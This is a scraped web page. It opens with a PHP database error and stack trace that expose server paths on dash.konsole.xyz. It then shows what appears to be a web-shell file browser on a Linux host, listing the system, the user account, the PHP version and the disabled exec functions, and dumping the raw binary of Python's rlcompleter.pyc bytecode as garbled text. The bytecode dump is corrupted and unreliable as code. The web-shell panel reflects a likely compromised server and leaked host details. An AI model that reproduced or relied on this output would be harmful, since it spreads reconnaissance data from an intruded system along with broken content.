A PHP Error was encountered

Severity: Warning

Message: mysqli::real_connect(): (HY000/2002): Cannot assign requested address

Filename: mysqli/mysqli_driver.php

Line Number: 201

Backtrace:

File: /www/wwwroot/dash.konsole.xyz/application/core/MY_Controller.php
Line: 343
Function: __construct

File: /www/wwwroot/dash.konsole.xyz/application/controllers/Api.php
Line: 12
Function: __construct

File: /www/wwwroot/dash.konsole.xyz/index.php
Line: 316
Function: require_once

Database Error

数据库发生错误。

无法使用提供的设置连接到数据库服务器。

Filename: core/MY_Controller.php

Line Number: 343


Fatal error: Uncaught Error: Call to a member function close() on string in /www/wwwroot/dash.konsole.xyz/application/core/MY_Controller.php:349 Stack trace: #0 [internal function]: Index_Controller->__destruct() #1 {main} thrown in /www/wwwroot/dash.konsole.xyz/application/core/MY_Controller.php on line 349
HEX
HEX
Server: Apache
System: Linux sys.digiflyeg.com 4.18.0-553.62.1.lve.el8.x86_64 #1 SMP Mon Jul 21 17:50:35 UTC 2025 x86_64
User: opal (1023)
PHP: 8.1.33
Disabled: exec,passthru,shell_exec,system
Upload Files
File: //lib64/python3.6/__pycache__/rlcompleter.cpython-36.pyc
3


 \��@s�dZddlZddlZddlZdgZGdd�d�Zdd�ZyddlZWnek
r\dZ	Yn"Xej
e�j�ejdd	��d
Z	dS)a1Word completion for GNU readline.

The completer completes keywords, built-ins and globals in a selectable
namespace (which defaults to __main__); when completing NAME.NAME..., it
evaluates (!) the expression up to the last dot and completes its attributes.

It's very cool to do "import sys" type "sys.", hit the completion key (twice),
and see the list of names defined by the sys module!

Tip: to use the tab key as the completion key, call

    readline.parse_and_bind("tab: complete")

Notes:

- Exceptions raised by the completer function are *ignored* (and generally cause
  the completion to fail).  This is a feature -- since readline sets the tty
  device in raw (or cbreak) mode, printing a traceback wouldn't work well
  without some complicated hoopla to save, reset and restore the tty state.

- The evaluation of the NAME.NAME... form may cause arbitrary application
  defined code to be executed if an object with a __getattr__ hook is found.
  Since it is the responsibility of the application (or the user) to enable this
  feature, I consider this an acceptable risk.  More complicated expressions
  (e.g. function calls or indexing operations) are *not* evaluated.

- When the original stdin is not a tty device, GNU readline is never
  used, and this module (and the readline module) are silently inactive.

�N�	Completerc@s6eZdZddd�Zdd�Zdd�Zdd	�Zd
d�ZdS)
rNcCs8|rt|t�rtd��|dkr(d|_nd|_||_dS)a�Create a new completer for the command line.

        Completer([namespace]) -> completer instance.

        If unspecified, the default namespace where completions are performed
        is __main__ (technically, __main__.__dict__). Namespaces should be
        given as dictionaries.

        Completer instances should be used as the completion mechanism of
        readline via the set_completer() call:

        readline.set_completer(Completer(my_namespace).complete)
        znamespace must be a dictionaryN�r)�
isinstance�dict�	TypeError�use_main_ns�	namespace)�selfr�r
�#/usr/lib64/python3.6/rlcompleter.py�__init__'szCompleter.__init__cCs�|jrtj|_|j�sB|dkr>tr8tjd�tj�dSdSndS|dkrld|kr`|j	|�|_
n|j|�|_
y
|j
|Stk
r�dSXdS)z�Return the next possible completion for 'text'.

        This is called successively with state == 0, 1, 2, ... until it
        returns None.  The completion should begin with 'text'.

        r�	�N�.)
r�__main__�__dict__r�strip�_readline_available�readlineZinsert_textZ	redisplay�attr_matches�matches�global_matches�
IndexError)r	�text�stater
r
r�completeBs$

zCompleter.completecCst|�r|d}|S)N�()�callable)r	�val�wordr
r
r�_callable_postfixaszCompleter._callable_postfixc		Cs�ddl}g}dh}t|�}xT|jD]J}|d|�|kr"|j|�|dkrR|d}n|dkrb|d}|j|�q"Wx^|jtjgD]N}xH|j�D]<\}}|d|�|kr�||kr�|j|�|j|j	||��q�Wq~W|S)z�Compute matches when text is a simple name.

        Return a list of all keywords, built-in functions and names currently
        defined in self.namespace that match.

        rN�__builtins__�finally�try�:�False�None�True�break�continue�pass�else� >r"r#>r*r(r+r)r%r&r')
�keyword�len�kwlist�add�appendr�builtinsr�itemsr )	r	rr-r�seen�nrZnspacerr
r
rrfs(


zCompleter.global_matchescCsnddl}|jd|�}|sgS|jdd�\}}yt||j�}Wntk
rPgSXtt|��}|jd�t	|d�r�|j
d�|jt|j
��g}t|�}	|dkr�d	}
n|d	kr�d
}
nd}
x�x~|D]v}|d|	�|ko�|
o�|d|	d�|
kr�d||f}yt||�}
Wntk
�rYnX|j|
|�}|j|�q�W|�sH|
�rJP|
d	k�rZd
}
q�d}
q�W|j�|S)a�Compute matches when text contains a dot.

        Assuming the text is of the form NAME.NAME....[NAME], and is
        evaluable in self.namespace, it will be evaluated and its attributes
        (as revealed by dir()) are used as possible completions.  (For class
        instances, class members are also considered.)

        WARNING: this can still invoke arbitrary C code, if an object
        with a __getattr__ hook is evaluated.

        rNz(\w+(\.\w+)*)\.(\w*)r�r!�	__class__r�_�__z%s.%s)�re�match�group�evalr�	Exception�set�dir�discard�hasattrr0�update�get_class_membersr7r.�getattrr r1�sort)r	rr:�m�expr�attrZ
thisobjectZwordsrr5Znoprefixrr;rr
r
rr�sN




zCompleter.attr_matches)N)�__name__�
__module__�__qualname__rrr rrr
r
r
rr&s

cCs2t|�}t|d�r.x|jD]}|t|�}qW|S)N�	__bases__)r@rBrMrD)�klassZret�baser
r
rrD�s

rDFcCs
tjd�S)N)r�
set_completerr
r
r
r�<lambda>�srQT)
�__doc__�atexitr2r�__all__rrDr�ImportErrorrrPr�registerr
r
r
r�<module>s